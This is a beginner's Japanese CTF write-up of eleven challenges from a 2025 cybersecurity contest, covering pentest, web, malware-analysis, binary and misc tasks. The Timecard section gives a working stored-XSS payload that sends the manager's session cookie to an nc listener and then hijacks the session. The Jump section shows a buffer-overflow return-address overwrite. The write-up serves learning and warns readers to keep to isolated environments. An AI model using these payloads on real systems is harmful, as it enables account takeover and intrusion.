はじめに
- 以下はCTF初心者がFFRI様とNFLabs様が主催する"FFRI × NFLabs. Cybersecurity Challenge 2025"に参加させていただいたときに解くことができた問題の解法です
- 今回初めて記事を書くので至らない点があったらコメントなどでご指摘いただけましたら幸いでございます
⚠️ 注意
本記事は CTF で出題された問題の Writeup(解法記録)です。
記載されている手法やコードは、あくまで学習・競技目的での実行を前提としています。
実際の業務システムやインターネット上のサービスに対して 決して試さないでください。
実行する場合は、必ずローカルの隔離環境(仮想マシン・Docker・CTF配布環境など)で行ってください。
問題一覧
No | カテゴリ | 問題名 |
---|---|---|
1 | Welcome | Welcome |
2 | Pentest | Hidden Service |
3 | Web Exploitation | SecureWebCompany |
4 | Web Exploitation | Timecard |
5 | MalWare Analysis | Downloader |
6 | MalWare Analysis | Acrobatics |
7 | MalWare Analysis | Custom Encryptor |
8 | Binary Exploitation | Abnormal |
9 | Binary Exploitation | Jump |
10 | Misc | Bellaso |
11 | Misc | Lamp |
1.Welcome
概要
そのまま問題に記載されているフラグを入力します。
フラグ: flag{Good_Luck_and_Have_Fun!}
2.HiddenService
概要
検証用サーバに同僚しか知らない方法で操作できるようにしているそうです。flag.txtを見つけましょう。
調査
どんなサービスが動いているかを調べて試しに接続してみます。
nmapでポートスキャンをかけたところ、以下のような出力結果を得られました。
1 $ nmap -sV 10.0.129.184
2 Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-26 14:57 JST
3 Nmap scan report for ip-10-0-129-184.ap-northeast-1.compute.internal (10.0.129.184)
4 Host is up (0.0017s latency).
5 Not shown: 998 closed tcp ports (reset)
6 PORT STATE SERVICE VERSION
7 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
8 31337/tcp open http Apache httpd 2.4.58 ((Ubuntu))
9 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
10
11 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
12 Nmap done: 1 IP address (1 host up) scanned in 6.42 seconds
この実行結果を見たとき、8行目にwebサービスが31337ポートで動いていることがわかりました。10.0.129.184:31337
をURLに打ち込んで接続してみたところ。シェルの操作が可能なwebサイトに接続できました。これが問題にある秘密の操作方法のようです。ためしに$ pwd
を実行してみたところ、しっかり実行結果が出力されています。ここからflag.txt
を捜索しましょう。
手順
> find / -name "flag.txt"
/flag.txt
> ls -l /flag.txt
-rw-r--r-- 1 root root 37 Jun 17 08:56 /flag.txt
> cat /flag.txt
flag{Ch4nging_th3_p0rt_is_p0intl3ss}
1つめのコマンドから"flag.txt"がルートディレクトリにあり、2つめのコマンドからすべてのユーザーにreadができるようになっていたので3つめのコマンドで無事開くことができました。
フラグ: flag{Ch4nging_th3_p0rt_is_p0intl3ss}
3.SecureWebCompany
概要
お問い合わせページから、開発者向けの情報が見えてしまうそうです。配布ファイルをみて構成を確認し、問題にある機密情報が見えるか確認しましょう。
調査
配布されたwebの構成を見てみると以下のようになっていました。
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2025/09/12 16:04 62 compose.yml
-a---- 2025/09/12 16:04 87 Dockerfile
-a---- 2025/09/12 16:04 12540 index.html
-a---- 2025/09/12 16:04 118 README.md
-a---- 2025/09/12 16:04 8912 script.js
-a---- 2025/09/12 16:04 6697 style.css
どうやらindex.htmlとREADME.mdが同じディレクトリにあるようです。加えてREADME.mdにはダミーフラグが記載されていました。これをターゲットのマシンから引き出せれば良さそうです。
手順
urlにhttp://<ip>:<port>/README.md
と入力するとサーバー側においてある本物のフラグが記載されたREADME.mdがダウンロードできました。
フラグ: flag{5up3r53cr37_4dm1n_p455w0rd}
4.Timecard
概要
タイムカードをwebサービスで運用しており、各社員の勤務申請を上司が承認する形で運用しています。もちろん上司のアカウントを社員に使われると大きな問題になるので上司(manager
ユーザ)でログインしてフラグが見えるか確認しましょう。(上司としてログインできればフラグが取得できます)現在は一分ごとに新しい申請を確認しているようです。
調査
まずはwebサイトにアクセスして社員アカウントでログインしてみます。
ここでは日付・始業時刻・終業時刻・備考・すべてを入力してから申請ができるようになっています。備考の場所は普通のテキストフォームですが、もしかしてjavascriptが打てたり?と言う事でalert出してみましょう。備考に以下のようなもの入れてみます。
</body><script> alert("a") </script>
この状態で送信するとalertを実行できました。これはかなり使えそうです。
次にログインはどうやって管理しているのかを調べたところ、ログイン成功時に与えられたセッションには以下の内容がありました。
ここまでの内容でセッションジャックが使えそうです。
手順
イメージとしては以下のようになります。上司側のユーザーでこのセッションcookieをXSSで上司側のマシンからビーコンに対して送信させることができればパスワードを入手せずともログインできそうです。
<ここにXSSセッションジャックのイメージ>
と言うことでVMのlinuxでnc -lvnp 8091
を実行してビーコン(受信鯖)を建てましょう。こうすることでこのポートに送られたデータを取得する事ができます。
次にcookieを送信させるために"備考"のテキストフォームに次のコードを入れます。
">
<script>
const c = document.cookie;
navigator.sendBeacon("http://ip:8091/log",c);
</script>
このスクリプトは立てたビーコン(nc -lやpython http等)に対してcookie情報を送信するものです。
これをテキストフォームに入れた状態で適当に日付などを埋め送信し、1分待つと...
1 nc -lvnp 8091
2 listening on [any] 8091 ...
3 connect to [10.0.0.72] from (UNKNOWN) [10.0.129.192] 50900
4 POST /log HTTP/1.1
5 Host: 10.0.0.72:8091
6 Connection: keep-alive
7 Content-Length: 220
8 Accept-Language: en-US,en;q=0.9
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.0.0 Safari/537.36
10 Content-Type: text/plain;charset=UTF-8
11 Accept: */*
12 Origin: http://web
13 Referer: http://web/
14 Accept-Encoding: gzip, deflate
15
16 session=.eJwlzjEOwzAIQNG7MHcAYwjOZSLbgNo1aaaqd2-qHOB_vQ9sucfxhPW9n_GA7eWwQpjMHq7BKdOiiWWyL9q1jYa1UFESJBpUB3Vh0enFs9XZvQ8zryQliHhMYZVYmqEtZGKCTcmJsVzbf4ToOTltDqFeMYsN7XBBziP2W0Pw_QGxwS7X.aNf1pQ.6ZOMSibNHmgVdoFwvOqT1yXwmxw
16行目から、sessionの値を取得できました!早速これをcookieの値に入れてみましょう
cookieのsessionの値をそのまま入れ替えます。(ncによるリッスン中、なかなか受信できないと思ったらもう一度リッスン(再実行)してみると取得できたりします。)
フラグ: flag{H9aDSMkTCWZMEuk25nZw}
5.Downloader
概要
配布実行ファイルには特定のURLへ通信する機能を持ちます。通信先URLをそのままflag{}等なしで回答します。
調査
雑にghidraで見てみましょう。ghidraの上のタブにある"Search"->"ForString"から通信先っぽいipアドレス、およびURLを探してみます。
入力してみたらこれでした。
雑すぎるのでもう少し調査します。
手順
プログラムのエントリーポイントを探します。Functionsからmainやentryといった関数を探します。それらは左側にあるSymbol TreeにあるFunctionsから探します。
void entry(void)
{
int iVar1;
BOOL BVar2;
HRESULT HVar3;
CHAR local_108 [260];
FUN_00401000("Constructing a destination path...\n");
iVar1 = SHGetFolderPathA(0,0x2e,0,0,local_108);
if (iVar1 == 0) {
BVar2 = PathAppendA(local_108,"download_result.bin");
if (BVar2 != 0) {
FUN_00401000("The constructed path: ");
FUN_00401000(local_108);
FUN_00401000("\n");
FUN_00401000("Downloading...\n");
HVar3 = URLDownloadToFileA((LPUNKNOWN)0x0,"http://172.30.153.199/x2hZq0XMZro0",local_108,0,
(LPBINDSTATUSCALLBACK)0x0);
if (HVar3 == 0) {
FUN_00401000("Succeeded\n");
/* WARNING: Subroutine does not return */
ExitProcess(0);
}
}
}
FUN_00401000("Failed\n");
/* WARNING: Subroutine does not return */
ExitProcess(1);
}
このコードによるとURLDownloadToFileAという関数にて問題にあるファイルをダウンロードするという挙動をしているようです。ここにあるipアドレスを答えましょう
6.Acrobatics
概要
従業員から送られた怪しいPDFファイルの調査を行いますが、一見書類に見えてもなにか仕掛けがあるようです。
調査
ヒントによれば特定のPDFビューワだと何かが表示されるそうです。
ということでwordではなく問題名に沿って"adobe acrobat"というソフトを使って読んでみたところ書類をクリックしたとたんに
終わった。
.
.
.
というわけにもいかないので別の方法はないでしょうか。VScodeでpdfを開いてみます。ここで文字化けがいくつか発生するのは仕方なくいったん無視して"script"や"code"といった文字列を検索してみたところ
/S /JavaScript
/JS (var\040\137d\040\075\040\13389\054111\054117\054114\05432\054102\054108\05497\054103\05432\054105\054115\05458\05432\054\040\04090\054109\054120\054104\05490\05451\054116\054119\05490\05471\05490\054102\05497\054109\054\040\04070\05450\05489\05488\05478\054106\05499\054109\054108\054119\054100\05470\05457\054116\054\040\04089\05487\054100\054112\05489\05451\05448\05461\135\073app\056alert\050String\056fromCharCode\056apply\050null\054\040\137d\051\051\073)
>>
このような記述がありました。
手順
1文字ずつ解読するとなる骨が折れますが、最初の部分を8進法で分解した後、ASCIIコードに照らし合わせるとvar _d =
という感じになったのでここがjavascriptが埋められている場所であっていそうです。
7.CustomEncryptor
概要
重要なフラグファイルがランサムウェアによって暗号化されましたが、ランサムウェアに不備があり、復元できるそうです。
調査
ghidraで雑に見てみましたが、デコンパイルがうまくできませんでした。このファイルはどんな形式でしょうか。DIE(detect it easy)で軽く見てみます
だめな理由がわかりました。C#の.NETを使用しているみたいです。異なるツールを使ってみましょう。
dsSpyというツールで開いてみるとvisual studioで使えるような形式で閲覧することができました。
その中で特にAES鍵をフッターに入れており、それをメイン側でrsaによる暗号化を施しているようです。しかし、Resourcesに鍵が埋め込まれている事がわかり、これを鍵として別のファイルで保存できました。
private byte[] GenerateEncryptedFooter(Aes aes)
{
byte[] array = Array.Empty<byte>().Concat(aes.Key).Concat(aes.IV).Concat(Encoding.UTF8.GetBytes("TheFooterContent")).ToArray<byte>();
Trace.Assert(array.Length == 64);
byte[] array2 = this._rsa.Encrypt(array, RSAEncryptionPadding.OaepSHA1);
Trace.Assert(array2.Length == 256);
return array2;
}
手順
調査で発見した鍵を使って復号しましょう。
どこからが鍵かはわからないのでフッターから鍵のサイズを頼りにしたから読み出します。
以下のコードは保存した鍵を"rsa_private.pem"とし、暗号化されたフラグを"secret.iso.encrypted"とし取り出したフッター鍵で複合するプログラムです。
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
class Recover
{
static void Main(string[] args)
{
var path = args.Length > 0 ? args[0] : "secret.iso.encrypted";
var keyPem = args.Length > 1 ? args[1] : "rsa_private.pem";
byte[] all = File.ReadAllBytes(path);
//末尾256Bをフッター候補
int footerLen = 256;
int cipherLen = all.Length - footerLen;
byte[] footerEnc = all.AsSpan(cipherLen, footerLen).ToArray();
if (cipherLen % 16 != 0) Console.WriteLine("注意: (総サイズ-256) が16の倍数ではありません");
//RSA復号
using var rsa = RSA.Create();
rsa.ImportFromPem(File.ReadAllText(keyPem));
byte[] footerPlain;
try
{
footerPlain = rsa.Decrypt(footerEnc, RSAEncryptionPadding.OaepSHA1);
}
catch (Exception ex)
{
Console.WriteLine($"RSA復号失敗: {ex.Message}");
return;
}
// Key/IV 抽出
byte[] aesKey = footerPlain.AsSpan(0, 32).ToArray();
byte[] iv = footerPlain.AsSpan(32, 16).ToArray();
Console.WriteLine("鍵/IVを取り出しました。本文を復号します…");
// 本文復号
byte[] cipher = all.AsSpan(0, cipherLen).ToArray();
using var aes = Aes.Create();
aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7;
aes.Key = aesKey; aes.IV = iv;
using var ms = new MemoryStream();
using (var cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(cipher, 0, cipher.Length);
}
File.WriteAllBytes("plain.bin", ms.ToArray());
Console.WriteLine("復号完了: plain.bin");
}
}
実行したところ、メモ帳で見てもフラグの部分は原型を残して出力されました。
flag{W!7h_PR1V@TE_K3Y_C0M3$_GR3@T_R3$P0N51BI!I7Y}
8.Abnormal
概要
flagを売っているショップを見つけたけど所持金が圧倒的に足りません、どうにかしてflagを買いましょう
調査
配布されているファイルにはプログラムの実行ファイルが含まれていました。これをghidraで見てみると売却時の整数オーバーフローの対策が何もされていないことがわかりました。これは使えそうです。
手順
伝説の剣を売却する際に個数を入力できますが、そこには整数オーバーフローによる攻撃が適用できます。と言う事で売却する量をint_tを -2,147,483,648 ~ 2,147,483,647の範囲を超えた数字を入れる事で所持金の値が-の範囲を超えて上限値になるように調整しましょう。
フラグゲットできました。
フラグ: flag{Th3_m1nu5_cr33p5_b3y0nd_ch405}
9.Jump
概要
配布されたソースコードをみてprint_flag関数を実行させましょう。
Stack Canary,PIE)は無効で32bit i386環境を前提としており、スタックのアラインメントは4バイト。print_flag()は0x21466F42
調査
問題を見る限り典型的なバッファオーバーフロー攻撃を実行するようです。
lldbを使用して返りアドレスの場所を確認します。
#include <stdio.h>
#include <stdlib.h>
void __attribute__((section(".flag"))) print_flag() {
char flag[64] = { 0 };
FILE* fp = fopen("flag.txt", "r");
if (!fp) {
printf("An error occurred while opening the file\n");
exit(1);
}
fread(flag, 1, 64, fp);
printf("Congratulations! Here's the flag: %s\n", flag);
exit(0);
}
void greet() {
char name[16] = { 0 };
gets(name);
printf("Hi, %s!\n", name);
}
int main() {
printf("Tell me your name! : ");
fflush(stdout);
greet();
return 0;
}
これによると16文字+アラインメントから返りアドレスをいじれそうです。
手順
0x21466F42を入力したいのでこれをASCIIコードとして送ってしまいましょう。ASCIIコード表を照らし合わせて、リトルエンディアンに変換するとBoF!
になりました。これを返りアドレスに到達させるために20文字入れた後に入れると
% nc 10.0.129.196 8102
Tell me your name! : aaaaaaaaaaaaaaaaaaaaBoF!
Hi, aaaaaaaaaaaaaaaaaaaaBoF!!
Congratulations! Here's the flag: flag{80F_JUMP_70_FUNC710N}
フラグ: flag{80F_JUMP_70_FUNC710N}
10.Bellaso
概要
配布されたcipher.txtを数百年前につくられたbellasoに関する古典暗号方式でkey.txtを使って複合する問題です。この中にある"flag is hogehoge"の...の部分を回答します。
調査
この問題名にあるBellasoとは多表式換字を使用した暗号方式でヴィジュネル暗号の元祖になった暗号方式です。(間違っていたらすいません)配布ファイルにはcipher.txtとkey.txtが含まれているのでヴィジュネル暗号の復号ツールを使えば復元できます。やってることはほとんど同じなので。
手順
今回はdencode.comさんにお世話になりました。ここに暗号文と鍵を入れてみましょう。
このサイトに入力したところ
haru ha akebono youyou shiroku nariyuku yamagiwa sukoshi akarite murasaki dachitaru kumo no hosoku tanabikitaru natsu ha yoru tsuki no koro ha sara nari yami mo nao hotaru no ooku tobichigaitaru mata tada hitotsu futatsu nado honoka ni uchihikarite iku mo okashi ame nado furu mo okashi aki ha yuugure yuuhi no sashite yama no ha ito chikou naritaru ni karasu no nedoko e iku tote mitsu yotsu futatsu mitsu nado tobiisogu sae aware nari maite kari nado no tsuranetaru ga ito chiisaku miyuru ha ito okashi hi irihatete kaze no oto mushi no ne nado hata iubeki ni arazu flag is makuranosoushi fuyu ha tsutomete yuki no furitaru wa iubeki nimo arazu shimo no ito shiroki mo mata sarademo ito samuki ni hi nado isogi okoshite sumimote wataru mo ito tsukizukishi hiru ni narite nuruku yurubi moteikeba hioke no hi mo shiroki hai gachi ni narite waroshi
ctr + fで"flag is"で検索するとmakuranosoushi
とあり、入力したら正解でした!
フラグ: makuranosoushi
11.Lamp
概要
raspi picoを用いて未完成の回路図とLed点灯プログラムを頼りにlampが点灯するためにはどこにつなげればいいかを答えます。回答可能回数は3回までです。
調査
回答制限付きなの怖いですね。配布されたファイルの回路図とプログラムを見るとすでにGNDにはつながっており、GPIO-18から電気を出力しています。しかし、GPIO-18がどの番号かを忘れたのでおとなしく公式サイトに行きましょう。
led = Pin(18, Pin.OUT)
手順
raspiの公式ドキュメントからpin配置の画像を見つけました。
https://www.raspberrypi.com/documentation/microcontrollers/pico-series.html
これによるとGPIO-18は24番に対応しているそうです。それを入力するとフラグを獲得できました。
フラグ: flag{pico_gpio_master}
終わり
今回初めてwrite upを書かせていただきました。CTFを初めて半年ですが、いろんなことを調べつつ、いろんなことを試せて楽しかったです!